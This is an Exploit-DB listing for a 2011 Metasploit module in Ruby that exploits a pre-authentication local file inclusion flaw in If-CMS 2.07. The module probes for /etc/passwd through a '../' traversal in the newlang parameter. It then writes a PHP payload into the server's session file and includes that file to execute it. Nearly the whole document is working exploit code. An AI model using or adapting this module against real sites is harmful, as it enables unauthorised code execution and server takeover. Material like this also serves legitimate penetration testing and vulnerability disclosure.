If-CMS 2.07 Pre-Auth Local File Inclusion Exploit

2011-06-20T00:00:00
ID EDB-ID:17418
Type exploitdb
Reporter TecR0c
Modified 2011-06-20T00:00:00

Description

If-CMS 2.07 Pre-Auth Local File Inclusion Exploit. Webapps exploit for php platform

                                        
                                            ##
# $Id: if-cms.rb 2011-03-15 20:28:10 tecr0c $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

# -*- coding: utf-8 -*-
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking

	PHPSESSID_REGEX = /(?:^|;?)PHPSESSID=(\w+)(?:;|$)/

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'IF-CMS',
			'Description' => %q{
					Local File Inclusion vulnerability within IF-CMS 2.07 which allows
					remote attackers to include and execute arbitrary local files via a ../ at the newlang
					parameter within the index.php page.
			},
			'Author'      => ['TecR0c'],
			'License'     => BSD_LICENSE,
			'Version'     => '$Revision: $',
			'References'  =>
				[
					['URL'     => 'http://sourceforge.net/projects/if-cms/'],
				],
			'Payload'     =>
				{
					# max header length for Apache (8190),
					# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
					# minus 23 for good luck (and extra spacing)
					'Space'       => 8190 - 23,
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					'BadChars'    => "'\"`"  # quotes are escaped by PHP's magic_quotes_gpc in a default install
				},
			'Targets'        => [['If-CMS 2.07', {}]],
			'DefaultTarget'  => 0,
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'DisclosureDate' => 'March 15 2011'
		))

		register_options(
			[
				OptString.new('URI',  [true, 'PHP file contains the vulnerable parameter', '/index.php']),
				OptString.new('PATH', [true, 'Path where the php is stored', 'var/lib/php5/sess_!SESSIONID!']),
			], self.class)
	end

	def check
		urltotest = datastore['URI'] + "?newlang=" + ("../" * 8) + "etc/passwd%00"
		target_code = 200

		print_status "Attempting to POST to #{urltotest}"
		response = send_request_cgi({'uri' => urltotest, 'method' => 'GET'})

		unless defined? response
			print_error 'Server did not respond to HTTP GET request'
			return Exploit::CheckCode::Safe
		end

		code = response.code

		unless code == target_code
			print_error "Expected HTTP code #{target_code}, but got #{code}."
			return Exploit::CheckCode::Safe
		end

		print_status "We received the expected HTTP code #{target_code}"

		# We will need the cookie PHPSESSID to continue
		cookies = response.headers['Set-Cookie']

		# Make sure cookies were set
		if defined? cookies and cookies =~ PHPSESSID_REGEX
			print_status "We successfully sent a PHPSESSID of '#{$1}'"
		else
			print_error 'The server did not send us the cookie we were looking for'
			return Exploit::CheckCode::Safe
		end

		# Check to see loca file inclusion is possible
		if response.body =~ /root/
			print_status "We were successfully able to validate gp_magic_quotes = Off"
			return Exploit::CheckCode::Vulnerable
		else
			print_error 'The webserver seems to have gp_magic_quotes On'
			return Exploit::CheckCode::Safe
		end

	end

	def exploit
		uri = datastore['URI']
		# Prepare PHP file contents
		encoded_php_file = Rex::Text.uri_encode("<?php #{payload.encoded} ?>")
		urlpayload = datastore['URI'] + "?newlang=#{encoded_php_file}%00"

		# Deliver the payload
		print_status('Writing malicious payload to the remote server')
		delivery_response = send_request_cgi({'uri' => urlpayload})

		cookie = delivery_response.headers['Set-Cookie']

		# Make sure cookie is set
		if defined? cookie and cookie =~ PHPSESSID_REGEX
			print_status "file containing payload is 'sess_#{$1}'"
		else
			print_error 'The server did not send us the cookie we were looking for'
			return Exploit::CheckCode::Safe
		end

		# Make sure cookies were set
		if cookie.nil?
			raise RuntimeError, 'The server did not set any cookies'
		end

		# Contents of PHPSESSID. About to be set.
		session_id = nil

		# Retrieve the session id from PHPSESSID
		if cookie =~ PHPSESSID_REGEX
			session_id = $1
		else
			raise RuntimeError, 'The cookie PHPSESSID was not set.'
		end

		# The call should return HTTP code 200
		if delivery_response.code != 200
			raise RuntimeError, "Server returned unexpected HTTP code #{delivery_response.code}"
		end

		# Prepare the value that will execute our payload
		detonation = datastore['PATH'].sub('!SESSIONID!', session_id)

		# Small delay as we're just going to assume we succeeded.
		urlsession = datastore['URI'] + "?newlang=" + ("../" * 8) + "#{detonation}%00"
		send_request_cgi({'uri' => urlsession,'method' => 'GET'}, 0.01)
		handler
	end
end